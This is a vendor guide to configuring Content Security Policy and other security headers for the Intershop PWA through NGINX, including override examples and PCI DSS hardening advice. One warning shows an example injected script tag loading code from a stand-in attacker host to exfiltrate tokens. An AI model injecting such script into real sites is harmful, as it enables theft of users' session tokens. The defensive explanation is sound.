Modern browsers rely on HTTP response headers to enforce important security boundaries.
The most relevant one is the Content Security Policy (CSP), which restricts the origins from which scripts, styles, images, fonts, and connections may be loaded, thereby mitigating cross-site scripting (XSS) and data injection attacks.
Additional headers such as X-Content-Type-Options, Referrer-Policy, Permissions-Policy, and Cross-Origin-Opener-Policy further harden the browser environment.
This guide explains the headers in the Intershop PWA that are included by default, how the configuration mechanism works, and how projects can override, extend, or remove them.
The Intershop PWA manages security headers in the NGINX layer, not in the Angular application or the SSR Express server.
NGINX adds the configured headers to the main storefront location responses, including cached pages.
Some locations, for example, static assets and the sitemap, are served without them.
The standard PWA ships a secure-by-default, yet deliberately permissive, baseline in additional-headers.yaml.
The default policy intentionally allows https: sources so that a typical storefront using third-party analytics, payment providers, or a CDN keeps working out of the box, while vulnerability scanners still see the required headers.
'unsafe-inline' is kept for script-src and style-src because the PWA and common integrations (e.g., tag managers) rely on inline scripts and styles.'unsafe-eval' is not included, because production builds do not require it.frame-ancestors / X-Frame-Options) is deliberately left off so that the PWA can still be embedded in the ICM Design Preview and the IAP Design View.Cross-Origin-Opener-Policy uses same-origin-allow-popups so popup-based checkout and payment flows are not broken.Important
The permissive defaults are a baseline that prevents storefronts from breaking, not a PCI DSS 4.0-compliant policy.
For payment pages, tighten the policy to explicit origins and remove 'unsafe-inline'.
See Hardening for PCI DSS 4.0.
script-srcWarning
As long as script-src contains 'unsafe-inline', the CSP provides no protection against inline-script XSS.
Injected <script>...</script> blocks, javascript: URLs, and inline event handlers (onerror, onload, onclick, and every on* attribute) all still execute.
The single most effective hardening step is to remove 'unsafe-inline' from script-src.
The shipped default keeps 'unsafe-inline' only so that storefronts and integrations that still rely on inline scripts do not break out of the box.
Once your project no longer depends on inline scripts, drop 'unsafe-inline' and the broad https: source from script-src:
# permissive default (inline XSS NOT blocked; external scripts from ANY HTTPS host allowed)
script-src 'self' 'unsafe-inline' https:;
# hardened (inline XSS blocked; only same-origin scripts allowed)
script-src 'self';
Warning
Removing 'unsafe-inline' is only half the job: the bare https: in script-src trusts every HTTPS origin for scripts.
An attacker who can inject HTML can then load an external script from any host they control, for example <script src="https://attacker.example/evil.js"></script>, and the browser will fetch and execute it, allowing it to read and exfiltrate tokens.
Drop the bare https: and list only the specific script origins you trust.
Allow specific third-party scripts by adding their explicit origins (see Common Third-Party Scenarios) or a per-request nonce/hash — but never by re-adding 'unsafe-inline' or a bare https:.
Note
'unsafe-inline' in style-src is far less dangerous than in script-src and is often kept, because the PWA and Bootstrap rely on inline styles.
Prioritize removing it from script-src first.
There are two ways to provide the header source:
ADDITIONAL_HEADERS environment variable (or ADDITIONAL_HEADERS_SOURCE for an external gomplate datasource).The YAML format is a list of single-key entries under headers::
headers:
- Header-Name: 'header value'
- Another-Header: 'another value'At container start, nginx/docker-entrypoint.d/40-gomplate.sh resolves the header source in the following order:
ADDITIONAL_HEADERS_SOURCE if set (an explicit gomplate datasource URI), otherwiseADDITIONAL_HEADERS if set, the runtime value is used and the shipped file is ignored entirely, otherwiseSetting ADDITIONAL_HEADERS replaces the complete header list; it does not merge with the shipped defaults.
Whatever source wins provides the full set of headers that NGINX emits.
There is no per-header override, which has direct consequences for the three use cases below.
Note
Setting ADDITIONAL_HEADERS to an empty string ('') does not clear the headers.
The entrypoint treats an empty value as unset and falls back to the shipped defaults.
To remove headers, provide a source with an empty list, as shown in Remove All Headers.
Because the source is replaced as a whole, overriding or extending headers means providing the full desired list, not just the delta.
To change one or more values (for example, to lock the CSP down to your known ICM host and payment provider), copy the full list and adjust the entries as needed.
docker-compose example:
nginx:
environment:
ADDITIONAL_HEADERS: |
headers:
- Content-Security-Policy: "default-src 'self' https://your-icm-host; script-src 'self' https://www.googletagmanager.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self' https://www.google-analytics.com; frame-src 'self' https://secure.pay1.de; base-uri 'self'; object-src 'none'; frame-ancestors 'self' https://your-icm-host;"
- X-Content-Type-Options: 'nosniff'
- Referrer-Policy: 'strict-origin-when-cross-origin'
- Permissions-Policy: 'camera=(), microphone=(), geolocation=(self)'
- Cross-Origin-Opener-Policy: 'same-origin-allow-popups'PWA Helm Chart example (use cache.additionalHeaders with the same content):
cache:
additionalHeaders: |
headers:
- Content-Security-Policy: "default-src 'self' https://your-icm-host; style-src 'self' 'unsafe-inline'; font-src 'self' data:; object-src 'none';"
- X-Content-Type-Options: 'nosniff'Tip
For a permanent, image-level change, edit the additional-headers.yaml file directly instead of passing ADDITIONAL_HEADERS at runtime.
To add an extra header or additional trusted origins, provide the defaults plus your additions as a complete list.
nginx:
environment:
ADDITIONAL_HEADERS: |
headers:
# keep the defaults you still want ...
- Content-Security-Policy: "default-src 'self' https:; script-src 'self' 'unsafe-inline' https:; style-src 'self' 'unsafe-inline' https:; img-src 'self' data: blob: https:; font-src 'self' data: https:; connect-src 'self' https:; frame-src 'self' https:; child-src 'self' blob: https:; worker-src 'self' blob:; form-action 'self' https:; base-uri 'self'; object-src 'none';"
- X-Content-Type-Options: 'nosniff'
- Referrer-Policy: 'strict-origin-when-cross-origin'
- Permissions-Policy: 'camera=(), microphone=(), geolocation=(self)'
- Cross-Origin-Opener-Policy: 'same-origin-allow-popups'
# ... and add the new headers
- Strict-Transport-Security: 'max-age=63072000; includeSubDomains; preload'
- X-Frame-Options: 'SAMEORIGIN'Provide a source that contains a valid but empty headers: list so that NGINX emits no add_header directives.
This is not the same as leaving ADDITIONAL_HEADERS empty (''): an empty string counts as "not set" and falls back to the shipped defaults, whereas the value below is real YAML content that just defines zero entries.
nginx:
environment:
ADDITIONAL_HEADERS: |
headers:For a permanent, image-level removal, reduce additional-headers.yaml to a single headers: line.
When extending the PWA, identify all origins a resource loads from (using browser dev tools or the vendor documentation) and add them to the matching directives.
| Integration | Directives typically needed |
|---|---|
| Google Tag Manager | script-src https://www.googletagmanager.com, connect-src https://www.google-analytics.com https://analytics.google.com, img-src https://www.google-analytics.com |
| Google Fonts | style-src https://fonts.googleapis.com, font-src https://fonts.gstatic.com |
| Payone | script-src https://secure.pay1.de, frame-src https://secure.pay1.de |
| PayPal | script-src https://www.paypal.com, frame-src https://www.paypal.com, connect-src https://www.paypal.com |
| SPARQUE.AI | connect-src https://api.search.sparque.ai (or the policy enforcer origin) |
Example CSP fragment that adds Google Tag Manager to a locked-down policy:
Content-Security-Policy: "default-src 'self'; script-src 'self' https://www.googletagmanager.com; connect-src 'self' https://www.google-analytics.com https://analytics.google.com; img-src 'self' data: https://www.google-analytics.com; style-src 'self' 'unsafe-inline'; font-src 'self' https://fonts.gstatic.com;"
The permissive defaults avoid breaking storefronts; they are not a PCI DSS 4.0-compliant policy.
When hardening the shipped baseline for payment pages, re-enable the clickjacking protection the default deliberately omits by adding frame-ancestors (and optionally X-Frame-Options: SAMEORIGIN) once Design Preview / IAP embedding is no longer required.
The remaining measures (i.e., authorizing every script (Requirement 6.4.3), removing 'unsafe-inline', avoiding wildcard origins, applying Subresource Integrity (SRI), and maintaining a script inventory) are covered in the Security Standard PCI DSS 4.0 guide.
The information provided in the Knowledge Base may not be applicable to all systems and situations. Intershop Communications will not be liable to any party for any direct or indirect damages resulting from the use of the Customer Support section of the Intershop Corporate Website, including, without limitation, any lost profits, business interruption, loss of programs or other data on your information handling system.